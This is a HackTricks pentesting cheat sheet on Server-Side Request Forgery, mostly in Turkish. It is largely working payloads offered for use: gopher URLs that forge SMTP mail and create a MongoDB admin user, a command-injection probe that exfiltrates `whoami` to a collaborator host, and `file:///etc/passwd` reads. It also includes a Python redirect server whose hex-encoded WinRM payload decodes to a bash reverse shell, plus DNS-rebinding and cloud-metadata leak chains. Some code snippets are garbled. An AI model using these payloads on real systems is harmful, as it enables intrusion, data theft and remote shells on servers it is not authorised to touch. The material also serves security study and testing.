SSRF (Server Side Request Forgery)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Bir Server-side Request Forgery (SSRF) zafiyeti, saldırganın bir server-side application’ı manipüle ederek tercih ettiği bir domaine HTTP requests göndertmesini sağladığında ortaya çıkar. Bu zafiyet, saldırgan tarafından yönlendirilen rastgele dış isteklerin server’a erişmesine yol açar.

SSRF’i Yakalama

İlk yapmanız gereken, sizin tarafınızdan tetiklenen bir SSRF etkileşimini yakalamaktır. Bir HTTP veya DNS etkileşimini yakalamak için şu araçları kullanabilirsiniz:

Whitelisted Domains Bypass

Genellikle SSRF’in yalnızca belirli whitelisted domains veya URL’lerde çalıştığını görürsünüz. Aşağıdaki sayfada bu whitelist’i atlatmayı denemek için tekniklerin bir derlemesini bulabilirsiniz:

URL Format Bypass

Bypass via open redirect

Eğer server doğru şekilde korunmuş olsa bile, web sayfası içindeki bir Open Redirect’i istismar ederek tüm kısıtlamaları bypass edebilirsiniz. Çünkü web sayfası aynı domaine SSRF’e izin verecek ve muhtemelen redirects’i takip edecektir; Open Redirect’i kullanarak server’ın dahili herhangi bir kaynağa erişmesini sağlayabilirsiniz.
Detaylı bilgi için: [https://portswigger.net/web-security/ssrf]

Protokoller

  • file://
  • file:// URL şeması, doğrudan /etc/passwd’e işaret edecek şekilde kullanılır: file:///etc/passwd
  • dict://
  • dict:// URL şeması, DICT protokolü aracılığıyla tanımlara veya kelime listelerine erişmek için kullanılır. Verilen örnek, belirli bir kelime, veritabanı ve giriş numarasını hedefleyen oluşturulmuş bir URL’yi ve ayrıca bir PHP betiğinin saldırgan tarafından sağlanan kimlik bilgileriyle bir DICT sunucusuna bağlanmak için nasıl suistimal edilebileceğini gösterir: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • SFTP:// güvenli shell üzerinden güvenli dosya transferi için bir protokol olarak tanımlanmıştır; bir örnek, bir PHP betiğinin kötü amaçlı bir SFTP sunucusuna bağlanmak için nasıl sömürülebileceğini gösterir: url=sftp://generic.com:11111/
  • TFTP://
  • TFTP:// (Trivial File Transfer Protocol), UDP üzerinde çalışan bir protokoldür; bir örnekte PHP betiğinin bir TFTP sunucusuna istek gönderdiği gösterilir. ‘generic.com’ adresine, ‘12346’ portundan ‘TESTUDPPACKET’ dosyası için bir TFTP isteği gönderilir: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Bu bölüm Lightweight Directory Access Protocol’ü (LDAP) kapsar; IP ağları üzerinden dağıtık dizin bilgi hizmetlerine erişim ve yönetim kullanımına vurgu yapar. localhost üzerindeki bir LDAP sunucusuyla etkileşim örneği: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • SSRF zafiyetlerini kullanarak localhost’taki SMTP servisleriyle etkileşime geçme yöntemleri açıklanır; iç domain adlarını ortaya çıkarmak ve bu bilgiye dayanarak daha ileri soruşturma adımları atmak için yapılabilecekler özetlenir.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Eğer SSRF curl ile gerçekleştiriliyorsa, curl’in URL globbing adında bir özelliği vardır; bu WAF’ları atlatmak için faydalı olabilir. Örneğin bu writeup içinde path traversal via file protocol örneğini bulabilirsiniz:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Gopher protokolünün sunucu ile iletişim için IP, port and bytes belirleme yeteneği anlatılır; ayrıca payload oluşturmak için Gopherus ve remote-method-guesser gibi araçlardan bahsedilir. İki farklı kullanım gösterilmektedir:

Gopher://

Bu protokol ile sunucudan göndermesini istediğiniz IP, port and bytes’ı belirleyebilirsiniz. Böylece temelde bir SSRF’i kullanarak communicate with any TCP server yapabilirsiniz (ancak önce servise nasıl iletişim kurulacağını bilmeniz gerekir).
Neyse ki, Gopherus ile çeşitli servisler için payloads oluşturabilirsiniz. Ayrıca, remote-method-guesser gopher payloads oluşturmak için Java RMI servisleri üzerinde kullanılabilir.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect to 1337

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – username=admin ve password=admin123 olan, permission=administrator olan kullanıcı oluştur

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF: Referrer header ve Diğerleri aracılığıyla

Sunuculardaki analitik yazılımlar genellikle gelen bağlantıları takip etmek için Referrer header’ını kaydeder; bu durum uygulamaları istemeden Server-Side Request Forgery (SSRF) zafiyetlerine açık hale getirebilir. Bunun nedeni, söz konusu yazılımların yönlendiren site içeriğini analiz etmek için Referrer header’ında belirtilen dış URL’leri ziyaret edebilmesidir. Bu zafiyetleri tespit etmek için, analitik araçların Referer header’ını nasıl işlediğini kullanarak potansiyel SSRF saldırı yüzeylerini belirleyen Burp Suite eklentisi “Collaborator Everywhere” önerilir.

Sertifikadan gelen SNI verisi aracılığıyla SSRF

Basit bir yapılandırmayla herhangi bir backend’e bağlantı kurulmasına izin verebilecek bir yanlış yapılandırma, örnek bir Nginx konfigürasyonu ile gösterilmiştir:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Bu yapılandırmada, Server Name Indication (SNI) alanındaki değer doğrudan backend adresi olarak kullanılır. Bu durum Server-Side Request Forgery (SSRF) zafiyetine açık olup, SNI alanına hedef IP adresi veya alan adı girilerek sömürülebilir. Aşağıda openssl komutu kullanılarak internal.host.com gibi rastgele bir backend’e bağlantı zorlamaya bir örnek verilmiştir:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF via TLS AIA CA Issuers (Java mTLS)

Some TLS stacks will auto-download missing intermediate CAs using the Authority Information Access (AIA) → CA Issuers URI inside the peer certificate. In Java, enabling -Dcom.sun.security.enableAIAcaIssuers=true while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate during the handshake, before any HTTP logic runs.

  • Gereksinimler: mTLS etkin, Java AIA fetching etkin, attacker crafted AIA CA Issuers URI içeren bir client cert sunabilir.
  • SSRF tetikleme (Java 21 örneği):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

Java certpath debug çıktısı CertStore URI:http://localhost:8080 gösterir ve nc, -Dhttp.agent ile kontrol edilebilen User-Agent ile HTTP isteğini yakalar; bu durum sertifika doğrulaması sırasında SSRF olduğunu kanıtlar.

  • DoS via file://: AIA CA Issuers’i Unix-benzeri hostlarda file:///dev/urandom olarak ayarlamak, Java’nın bunu bir CertStore olarak işlemesine ve sınırsız rastgele bayt okumasına neden olur; bu durum bir CPU çekirdeğini meşgul eder ve client bağlantısı kesildikten sonra bile sonraki bağlantıları engeller.

Wget file upload

SSRF with Command Injection

It might be worth trying a payload like: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDF Oluşturma

If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.

SSRF’den DoS’a

Birkaç oturum oluşturun ve oturumlardan SSRF’i kullanarak büyük dosyalar indirmeyi deneyin.

SSRF PHP Functions

Kırılgan PHP ve hatta Wordpress fonksiyonları için aşağıdaki sayfayı kontrol edin:

PHP SSRF

SSRF Redirect to Gopher

For some exploitations you might need to send a redirect response (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

SSRF’ye yol açan yanlış yapılandırılmış proxies

İpuçları bu yazıdan.

Flask

Flask proxy zafiyeti içeren kod ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask, **`@`**'ı başlangıç karakteri olarak kullanmaya izin verir; bu, **ilk host adını kullanıcı adı yapmak** ve yeni bir tane inject etmeye olanak sağlar. Attack request:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Zafiyetli kod:

Keşfedildi ki bir isteğin yolunu başlatmak için ; karakteri kullanmak mümkün; bu da daha sonra @ kullanılarak erişilecek yeni bir host enjekte etmeye izin veriyor. Saldırı isteği:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP Yerleşik Web Sunucusu

Zayıf PHP kodu ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP, URL yolunun içindeki **bir eğik çizgiden önce `*` karakterinin** kullanılmasına izin verir, ancak bunun yalnızca kök yol adı `/` için kullanılabilmesi ve ilk eğik çizgi öncesinde noktaların `.` izin verilmemesi gibi başka sınırlamaları vardır; bu yüzden örneğin noktasız-hex kodlu bir IP adresi kullanmak gerekir:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

Eğer CORS/SOP nedeniyle yerel bir IP’den içerik sızdırmakta sorunlar yaşıyorsanız, DNS Rebidding bu sınırlamayı atlatmak için kullanılabilir:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin bir DNS rebinding saldırısı gerçekleştirmek için kullanılan bir araçtır. Saldırgan sunucunun DNS adının IP adresini hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki savunmasız yazılımları istismar etmek için gerekli attack payloads sunmak üzere gerekli bileşenleri içerir.

Ayrıca halka açık çalışan sunucuya bakın: http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Gereksinimler:

  • SSRF
  • Outbound TLS sessions
  • Yerel portlarda çalışan servisler

Saldırı:

  1. Kullanıcıdan/bottan erişmesini istediğiniz saldırgan kontrolündeki bir alan adına erişmesini isteyin.
  2. DNS’in TTL’si 0 sn dir (bu yüzden kurban kısa süre sonra domainin IP’sini tekrar kontrol edecektir).
  3. Kurban ile saldırganın alan adı arasında bir TLS connection oluşturulur. Saldırgan payload’u Session ID veya Session Ticket içine yerleştirir.
  4. Alan adı, kendisine yönelik bir infinite loop şeklinde yönlendirmeler başlatacaktır. Bunun amacı kullanıcı/bot domaine erişmeye devam etsin ve domain için tekrar bir DNS request gerçekleştirsin.
  5. DNS isteğinde artık bir private IP adresi verilir (örneğin 127.0.0.1).
  6. Kullanıcı/bot TLS bağlantısını yeniden kurmaya çalışacak ve bunu yapmak için saldırganın payload’unu içerdiği Session ID/Ticket ID’yi gönderecektir. Yani tebrikler, kullanıcının/botun kendisine saldırmasını sağlamış oldunuz.

Not: Bu saldırı sırasında localhost:11211 (memcache)’e saldırmak istiyorsanız kurbanın başlangıç bağlantısını www.attacker.com:11211 ile kurmasını sağlamanız gerekir ( port her zaman aynı olmalıdır ).
Bu saldırıyı gerçekleştirmek için kullanabileceğiniz araç: https://github.com/jmdx/TLS-poison/
Daha fazla bilgi için bu saldırının anlatıldığı konuşmaya bakın: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Blind SSRF ile kör olmayan SSRF arasındaki fark, kör olanında SSRF isteğinin cevabını görememenizdir. Bu nedenle sömürülmesi daha zordur; yalnızca iyi bilinen zafiyetleri kullanarak istismar edebilirsiniz.

Time based SSRF

Sunucudan gelen yanıtların zamanını kontrol ederek, bir kaynağın var olup olmadığını anlamak mümkün olabilir (var olan bir kaynağa erişmek, var olmayan bir kaynağa erişmekten daha fazla zaman alabilir).

From blid to full abusing status codes

Bu blog posta göre, bazı kör SSRF durumları hedef URL 200 status code ile cevap verse bile (ör. AWS metadata), bu verinin düzgün formatlanmamış olmasından dolayı uygulama bunu göstermeyi reddedebilir.

Ancak, SSRF içinde 305 ile 309 arasındaki bazı redirect yanıtları gönderildiğinde, uygulamayı bu yönlendirmeleri takip etmeye zorlayıp bir hata moduna girmesini sağlayarak artık verinin formatını kontrol etmeyi bırakması ve sadece veriyi yazdırması mümkün olabilir.

Bunu istismar etmek için kullanılan python sunucu aşağıdaki gibidir:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Adımlar:

  • İlk 302, uygulamanın takip etmeye başlamasını sağlar.
  • Sonra 305 → 306 → 307 → 308 → 309 → 310 alır.
    1. garip koddandan sonra PoC en sonunda 302 → 169.254.169.254 → 200 OK döner.

Hedefin içinde ne oluyor:

  • libcurl kendisi 305–310’u takip eder; bilinmeyen kodları “follow.” olarak normalleştirir.
  • N tuhaf redirects (burada ≥ 5) sonra uygulamanın kendi wrapper’ı “something is off” kararını verip debugging amaçlı bir error moduna geçer.
  • Bu modda tüm redirect zincirini ve son body’yi dışarıdaki çağırana döker.
  • Sonuç: attacker her header’ı + metadata JSON’u görür, mission accomplished.

Not: Bu, daha önce leak edemediğiniz status kodlarını leak etmek için ilginçtir (örneğin 200). Ancak, eğer bir şekilde yanıtın status kodunu da seçebilseydiniz (örneğin AWS metadata’nın 500 status kodu ile yanıtlamasını seçebildiğinizi düşünün), bazı status kodlarının doğrudan yanıt içeriğini leak edebileceği durumlar olabilir.

HTML-to-PDF renderers as blind SSRF gadgets

TCPDF gibi kütüphaneler (ve spipu/html2pdf gibi wrapper’lar) PDF render ederken attacker-controlled HTML içinde bulunan herhangi bir URL’yi otomatik olarak fetch eder. Her <img> veya <link rel="stylesheet"> özniteliği sunucu tarafında cURL, getimagesize(), veya file_get_contents() ile çözülür, bu yüzden PDF worker’ı iç ağ hostlarını probe etmeye yönlendirebilirsiniz; hiçbir HTTP response size yansıtılmasa bile.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0 her <img> kaynağı için birden fazla alma denemesi yapar, bu yüzden tek bir payload birden fazla istek üretebilir (zamanlamaya dayalı port taramaları için faydalı).
  • html2pdf <img> için TCPDF’nin davranışını kopyalar ve basit bir scheme kontrolünden sonra file_get_contents($href) çağıran Css::extractStyle() içinde CSS alma işlemi ekler. Bunu loopback servislerine, RFC1918 aralıklarına veya bulut metadata uç noktalarına erişmek için kötüye kullanın.
  • Bu SSRF primitive’ini HTML-to-PDF path traversal tricks ile birleştirerek hem iç HTTP yanıtlarını hem de PDF’e render edilen yerel dosyaları leak edin.

Güvenlik ekipleri render etmeden önce dış URL’leri kaldırmalı veya renderer’ı bir ağ sandbox’ında izole etmelidir; o zamana kadar PDF generator’larını blind SSRF proxies olarak değerlendirin.

Bulut SSRF İstismarı

Eğer bir makinede, bulut ortamı içinde çalışan bir sistemde SSRF zafiyeti bulursanız, bulut ortamı hakkında ilginç bilgiler ve hatta kimlik bilgileri elde edebilirsiniz:

Cloud SSRF

SSRF’e Karşı Savunmasız Platformlar

Birkaç bilinen platform SSRF zafiyetleri içeriyor ya da içeriyordu, bunları inceleyin:

SSRF Vulnerable Platforms

Araçlar

SSRFMap

SSRF zafiyetlerini tespit etmek ve istismar etmek için bir araç

Gopherus

Bu araç için Gopher payload’ları üretir:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser çoğu yaygın Java RMI zafiyetleri için saldırı operasyonlarını destekleyen bir Java RMI zafiyet tarayıcısıdır. Mevcut operasyonların çoğu, istenen operasyon için bir SSRF payload’u üretmek üzere --ssrf seçeneğini destekler. --gopher seçeneği ile birlikte, kullanıma hazır gopher payload’ları doğrudan üretilebilir.

SSRF Proxy

SSRF Proxy, istemci HTTP trafiğini Server-Side Request Forgery (SSRF) zafiyeti bulunan HTTP sunucuları üzerinden tünellemek için tasarlanmış çok iş parçacıklı bir HTTP proxy sunucusudur.

Pratik yapmak için

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin